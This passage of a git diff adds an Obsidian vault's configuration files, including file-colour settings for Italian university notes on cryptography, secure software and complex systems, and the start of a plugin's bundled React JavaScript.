+  "backlinkInDocument": false
+}
\ No newline at end of file
diff --git a/.obsidian/bookmarks.json b/.obsidian/bookmarks.json
new file mode 100644
index 0000000..153cdb5
--- /dev/null
+++ b/.obsidian/bookmarks.json
@@ -0,0 +1,67 @@
+{
+  "items": [
+    {
+      "type": "graph",
+      "ctime": 1686611114254,
+      "title": "Crittografia applicata",
+      "options": {
+        "collapse-filter": false,
+        "search": "path:\"8 - Crittografia applicata\"",
+        "showTags": false,
+        "showAttachments": false,
+        "hideUnresolved": false,
+        "showOrphans": true,
+        "collapse-color-groups": false,
+        "colorGroups": [
+          {
+            "query": "path:\"8 - Crittografia applicata/1 - Concetti\"",
+            "color": {
+              "a": 1,
+              "rgb": 14048348
+            }
+          },
+          {
+            "query": "path:\"8 - Crittografia applicata/2 - Comunicazione simmetrica\"",
+            "color": {
+              "a": 1,
+              "rgb": 14069084
+            }
+          },
+          {
+            "query": "path:\"8 - Crittografia applicata/3 - Comunicazione asimmetrica\"",
+            "color": {
+              "a": 1,
+              "rgb": 6084188
+            }
+          },
+          {
+            "query": "path:\"8 - Crittografia applicata/4 - Controllo dell'accesso\"",
+            "color": {
+              "a": 1,
+              "rgb": 6073814
+            }
+          },
+          {
+            "query": "path:\"8 - Crittografia applicata/5 - Protocolli sicuri\"",
+            "color": {
+              "a": 1,
+              "rgb": 11361494
+            }
+          }
+        ],
+        "collapse-display": false,
+        "showArrow": false,
+        "textFadeMultiplier": -3,
+        "nodeSizeMultiplier": 1.50364583333333,
+        "lineSizeMultiplier": 0.380729166666667,
+        "collapse-forces": false,
+        "centerStrength": 0.177083333333333,
+        "repelStrength": 20,
+        "linkStrength": 1,
+        "linkDistance": 500,
+        "scale": 0.02775319949071854,
+        "close": false
+      }
+    }
+  ]
+}
\ No newline at end of file
diff --git a/.obsidian/canvas.json b/.obsidian/canvas.json
new file mode 100644
index 0000000..26d11ea
--- /dev/null
+++ b/.obsidian/canvas.json
@@ -0,0 +1,7 @@
+{
+  "snapToObjects": true,
+  "snapToGrid": true,
+  "cardLabelVisibility": "hover",
+  "newFileLocation": "current",
+  "zoomBreakpoint": -0.13
+}
\ No newline at end of file
diff --git a/.obsidian/community-plugins.json b/.obsidian/community-plugins.json
new file mode 100644
index 0000000..60f6a70
--- /dev/null
+++ b/.obsidian/community-plugins.json
@@ -0,0 +1,3 @@
+[
+  "obsidian-file-color"
+]
\ No newline at end of file
diff --git a/.obsidian/core-plugins-migration.json b/.obsidian/core-plugins-migration.json
new file mode 100644
index 0000000..000b361
--- /dev/null
+++ b/.obsidian/core-plugins-migration.json
@@ -0,0 +1,31 @@
+{
+  "file-explorer": true,
+  "global-search": true,
+  "switcher": true,
+  "graph": true,
+  "backlink": true,
+  "canvas": true,
+  "outgoing-link": true,
+  "tag-pane": true,
+  "page-preview": false,
+  "daily-notes": false,
+  "templates": false,
+  "note-composer": false,
+  "command-palette": false,
+  "slash-command": false,
+  "editor-status": true,
+  "starred": false,
+  "markdown-importer": false,
+  "zk-prefixer": false,
+  "random-note": false,
+  "outline": true,
+  "word-count": true,
+  "slides": false,
+  "audio-recorder": false,
+  "workspaces": false,
+  "file-recovery": false,
+  "publish": false,
+  "sync": false,
+  "bookmarks": true,
+  "properties": true
+}
\ No newline at end of file
diff --git a/.obsidian/core-plugins.json b/.obsidian/core-plugins.json
new file mode 100644
index 0000000..33c32ce
--- /dev/null
+++ b/.obsidian/core-plugins.json
@@ -0,0 +1,15 @@
+[
+  "file-explorer",
+  "global-search",
+  "switcher",
+  "graph",
+  "backlink",
+  "canvas",
+  "outgoing-link",
+  "tag-pane",
+  "properties",
+  "editor-status",
+  "bookmarks",
+  "outline",
+  "word-count"
+]
\ No newline at end of file
diff --git a/.obsidian/graph.json b/.obsidian/graph.json
new file mode 100644
index 0000000..4f09403
--- /dev/null
+++ b/.obsidian/graph.json
@@ -0,0 +1,30 @@
+{
+  "collapse-filter": false,
+  "search": "path:\"8 - Sistemi complessi\"  ",
+  "showTags": false,
+  "showAttachments": false,
+  "hideUnresolved": false,
+  "showOrphans": true,
+  "collapse-color-groups": false,
+  "colorGroups": [
+    {
+      "query": "path:\"8 - Sistemi complessi/4 - Grafi\"  ",
+      "color": {
+        "a": 1,
+        "rgb": 65284
+      }
+    }
+  ],
+  "collapse-display": false,
+  "showArrow": false,
+  "textFadeMultiplier": -3,
+  "nodeSizeMultiplier": 1,
+  "lineSizeMultiplier": 1,
+  "collapse-forces": false,
+  "centerStrength": 0.864583333333333,
+  "repelStrength": 20,
+  "linkStrength": 1,
+  "linkDistance": 30,
+  "scale": 0.45050811767578125,
+  "close": true
+}
\ No newline at end of file
diff --git a/.obsidian/hotkeys.json b/.obsidian/hotkeys.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/.obsidian/hotkeys.json
@@ -0,0 +1 @@
+{}
\ No newline at end of file
diff --git a/.obsidian/plugins/obsidian-file-color/data.json b/.obsidian/plugins/obsidian-file-color/data.json
new file mode 100644
index 0000000..a334959
--- /dev/null
+++ b/.obsidian/plugins/obsidian-file-color/data.json
@@ -0,0 +1,442 @@
+{
+  "palette": [
+    {
+      "id": "7j7Pqog0VHMVVAfazMNlb",
+      "name": "Accent",
+      "value": "#d14224"
+    },
+    {
+      "id": "me4XBNQC4rwzQFLlvIAn0",
+      "name": "System",
+      "value": "#65342a"
+    },
+    {
+      "id": "fc3lLaITDn62PYbzBhqxl",
+      "name": "To do",
+      "value": "#dac38b"
+    },
+    {
+      "id": "hEs1KsnMgHNA_g4pwAxtt",
+      "name": "Done",
+      "value": "#696969"
+    }
+  ],
+  "fileColors": [
+    {
+      "path": "8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "7 - High performance computing/★ glossario ad alta performance.md",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Metodologie di sviluppo software/★  Materiale di studio/1 - Slides/05-AgileMethodologies_2_decrypted.pdf",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Metodologie di sviluppo software/★  Materiale di studio/1 - Slides/06-ProjectEstimation.pdf",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Metodologie di sviluppo software/★  Materiale di studio/1 - Slides/07-DesignPatterns.pdf",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Metodologie di sviluppo software/★  Materiale di studio",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Metodologie di sviluppo software",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "7 - High performance computing",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "0 - Generale/★ esami.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "0 - Generale",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "7 - Big data analytics",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "7 - Introduction to quantum information processing",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Crittografia applicata",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/6b-unit-testing.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/6a-introduzione.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/5f-controllo-input.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/5e-sincronizzazione.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/5d-riduzione-superficie-attacco.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/5c-regola-silenzio.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/5b-minimo-privilegio.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/5a-introduzione.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/4f-input-non-controllato.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/4e-corse-critiche.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/4d-eccessiva-esposizione-asset.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/4c-eccessiva-verbosita-output.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/4a-introduzione.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/3-definizioni.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/4b-esecuzione-privilegi-elevati.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/★ mappa concettuale.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/6c-analisi-statica.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sviluppo di software sicuro/0 - Materiale di studio/Slides/6d-analisi-dinamica.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/2 - Sistemi complessi/★ sistemi complessi.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Sistemi complessi/3 - Automi cellulari/★ automi cellulari.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Sistemi complessi/4 - Grafi/★ grafi.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Sistemi complessi/5 - Origine della vita/★ insiemi auto-replicanti.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Sistemi complessi/6 - Robustezza/★ robustezza.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/01_introduction_p1_V2d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/01_introduction_p2_V3d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/000_introd.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/1 - Sistemi dinamici/★ sistemi dinamici.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Sistemi complessi/2 - Sistemi complessi/topological mixing.md",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Sistemi complessi/2 - Sistemi complessi/dense periodic orbits.md",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/02_selforganization_P1_V2d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/02_selforganization_P2d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/2 - Sistemi complessi/Landau's phenomenological theory.md",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/02_selforganization_P3_V2d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/03_CA1_intro_emergenced.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/03_CA2_CA1Dd.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/03_CA3_self_replicationd.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/03_CA4_fluidodind.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/03_CA5_modelli_v2d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/03_CA6_societad.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/4 - Grafi/percolation threshold.md",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/04a_lab_reti_p1_v1_COLOREd.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/04a_lab_reti_p2a_v1d_COLOR.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/04a_lab_reti_p2b_v1d_COLOR.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/04a_lab_reti_p2c_v1d_COLOR.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/04a_lab_reti_p3_v1d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/4 - Grafi/★ grafi multi-livello.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Sistemi complessi/4 - Grafi/rete interdipendente.md",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Sistemi complessi/4 - Grafi/rete multiplex correlata.md",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Sistemi complessi/4 - Grafi/★ ipergrafi.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/05_Mreti_v2d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/05c_HypNet_V3d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/06a_OOL_protocells_v3d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/5 - Origine della vita/insieme auto-catalitico riflessivo generato da cibo.md",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/06b_autocat_V4_p1d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/06b_autocat_V4_p2d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/07_RBNd_COLOR.pdf",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Sistemi complessi/6 - Robustezza/🞵 parentesi anti-eugenica.md",
+      "color": "me4XBNQC4rwzQFLlvIAn0"
+    },
+    {
+      "path": "8 - Sistemi complessi/6 - Robustezza/robustezza differenziale.md",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Sistemi complessi/6 - Robustezza/versatilità.md",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Sistemi complessi/6 - Robustezza/evolvibilità.md",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/08_degener_v1d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/0 - Materiale di studio/Slides/10_HOT_v1d.pdf",
+      "color": "hEs1KsnMgHNA_g4pwAxtt"
+    },
+    {
+      "path": "8 - Sistemi complessi/5 - Origine della vita/modello di Kauffman gene-RBN.md",
+      "color": "fc3lLaITDn62PYbzBhqxl"
+    },
+    {
+      "path": "8 - Sistemi complessi/5 - Origine della vita/★ geni come random boolean network.canvas",
+      "color": "7j7Pqog0VHMVVAfazMNlb"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/.obsidian/plugins/obsidian-file-color/main.js b/.obsidian/plugins/obsidian-file-color/main.js
new file mode 100644
index 0000000..ea1b636
--- /dev/null
+++ b/.obsidian/plugins/obsidian-file-color/main.js
@@ -0,0 +1,23240 @@
+"use strict";
+/*
+Thu May 04 2023 17:17:05 GMT+0200 (Central European Summer Time)
+THIS IS A GENERATED/BUNDLED FILE BY ESBUILD
+if you want to view the source, please visit the github repository of this plugin
+*/
+
+var __create = Object.create;
+var __defProp = Object.defineProperty;
+var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
+var __getOwnPropNames = Object.getOwnPropertyNames;
+var __getProtoOf = Object.getPrototypeOf;
+var __hasOwnProp = Object.prototype.hasOwnProperty;
+var __commonJS = (cb, mod) => function __require() {
+  return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
+};
+var __export = (target, all) => {
+  for (var name in all)
+    __defProp(target, name, { get: all[name], enumerable: true });
+};
+var __copyProps = (to, from, except, desc) => {
+  if (from && typeof from === "object" || typeof from === "function") {
+    for (let key of __getOwnPropNames(from))
+      if (!__hasOwnProp.call(to, key) && key !== except)
+        __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
+  }
+  return to;
+};
+var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target, mod));
+var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
+
+// node_modules/react/cjs/react.development.js
+var require_react_development = __commonJS({
+  "node_modules/react/cjs/react.development.js"(exports, module2) {
+    "use strict";
+    if (true) {
+      (function() {
+        "use strict";
+        if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== "undefined" && typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart === "function") {
+          __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart(new Error());
+        }
+        var ReactVersion = "18.2.0";
+        var REACT_ELEMENT_TYPE = Symbol.for("react.element");
+        var REACT_PORTAL_TYPE = Symbol.for("react.portal");
+        var REACT_FRAGMENT_TYPE = Symbol.for("react.fragment");
+        var REACT_STRICT_MODE_TYPE = Symbol.for("react.strict_mode");
+        var REACT_PROFILER_TYPE = Symbol.for("react.profiler");
+        var REACT_PROVIDER_TYPE = Symbol.for("react.provider");
+        var REACT_CONTEXT_TYPE = Symbol.for("react.context");
+        var REACT_FORWARD_REF_TYPE = Symbol.for("react.forward_ref");
+        var REACT_SUSPENSE_TYPE = Symbol.for("react.suspense");
+        var REACT_SUSPENSE_LIST_TYPE = Symbol.for("react.suspense_list");
+        var REACT_MEMO_TYPE = Symbol.for("react.memo");
+        var REACT_LAZY_TYPE = Symbol.for("react.lazy");
+        var REACT_OFFSCREEN_TYPE = Symbol.for("react.offscreen");
+        var MAYBE_ITERATOR_SYMBOL = Symbol.iterator;
+        var FAUX_ITERATOR_SYMBOL = "@@iterator";
+        function getIteratorFn(maybeIterable) {
+          if (maybeIterable === null || typeof maybeIterable !== "object") {
+            return null;
+          }
+          var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];
+          if (typeof maybeIterator === "function") {
+            return maybeIterator;
+          }
+          return null;
+        }
+        var ReactCurrentDispatcher = {
+          current: null
+        };
+        var ReactCurrentBatchConfig = {
+          transition: null
+        };
+        var ReactCurrentActQueue = {
+          current: null,
+          isBatchingLegacy: false,
+          didScheduleLegacyUpdate: false
+        };
+        var ReactCurrentOwner = {
+          current: null
+        };
+        var ReactDebugCurrentFrame = {};
+        var currentExtraStackFrame = null;
+        function setExtraStackFrame(stack) {
+          {
+            currentExtraStackFrame = stack;
+          }
+        }
+        {
+          ReactDebugCurrentFrame.setExtraStackFrame = function(stack) {
+            {
+              currentExtraStackFrame = stack;
+            }
+          };
+          ReactDebugCurrentFrame.getCurrentStack = null;
+          ReactDebugCurrentFrame.getStackAddendum = function() {
+            var stack = "";
+            if (currentExtraStackFrame) {
+              stack += currentExtraStackFrame;
+            }
+            var impl = ReactDebugCurrentFrame.getCurrentStack;
+            if (impl) {
+              stack += impl() || "";
+            }
+            return stack;
+          };
+        }
+        var enableScopeAPI = false;
+        var enableCacheElement = false;
+        var enableTransitionTracing = false;
+        var enableLegacyHidden = false;
+        var enableDebugTracing = false;
+        var ReactSharedInternals = {
+          ReactCurrentDispatcher,
+          ReactCurrentBatchConfig,
+          ReactCurrentOwner
+        };
+        {
+          ReactSharedInternals.ReactDebugCurrentFrame = ReactDebugCurrentFrame;
+          ReactSharedInternals.ReactCurrentActQueue = ReactCurrentActQueue;
+        }
+        function warn(format) {
+          {
+            {
+              for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
+                args[_key - 1] = arguments[_key];
+              }
+              printWarning("warn", format, args);
+            }
+          }
+        }
+        function error(format) {
+          {
+            {
+              for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {
+                args[_key2 - 1] = arguments[_key2];
+              }
+              printWarning("error", format, args);
+            }
+          }
+        }
+        function printWarning(level, format, args) {
+          {
+            var ReactDebugCurrentFrame2 = ReactSharedInternals.ReactDebugCurrentFrame;
+            var stack = ReactDebugCurrentFrame2.getStackAddendum();
+            if (stack !== "") {
+              format += "%s";
+              args = args.concat([stack]);
+            }
+            var argsWithFormat = args.map(function(item) {
+              return String(item);
+            });
+            argsWithFormat.unshift("Warning: " + format);
+            Function.prototype.apply.call(console[level], console, argsWithFormat);
+          }
+        }
+        var didWarnStateUpdateForUnmountedComponent = {};
+        function warnNoop(publicInstance, callerName) {
+          {
+            var _constructor = publicInstance.constructor;
+            var componentName = _constructor && (_constructor.displayName || _constructor.name) || "ReactClass";
+            var warningKey = componentName + "." + callerName;
+            if (didWarnStateUpdateForUnmountedComponent[warningKey]) {
+              return;
+            }
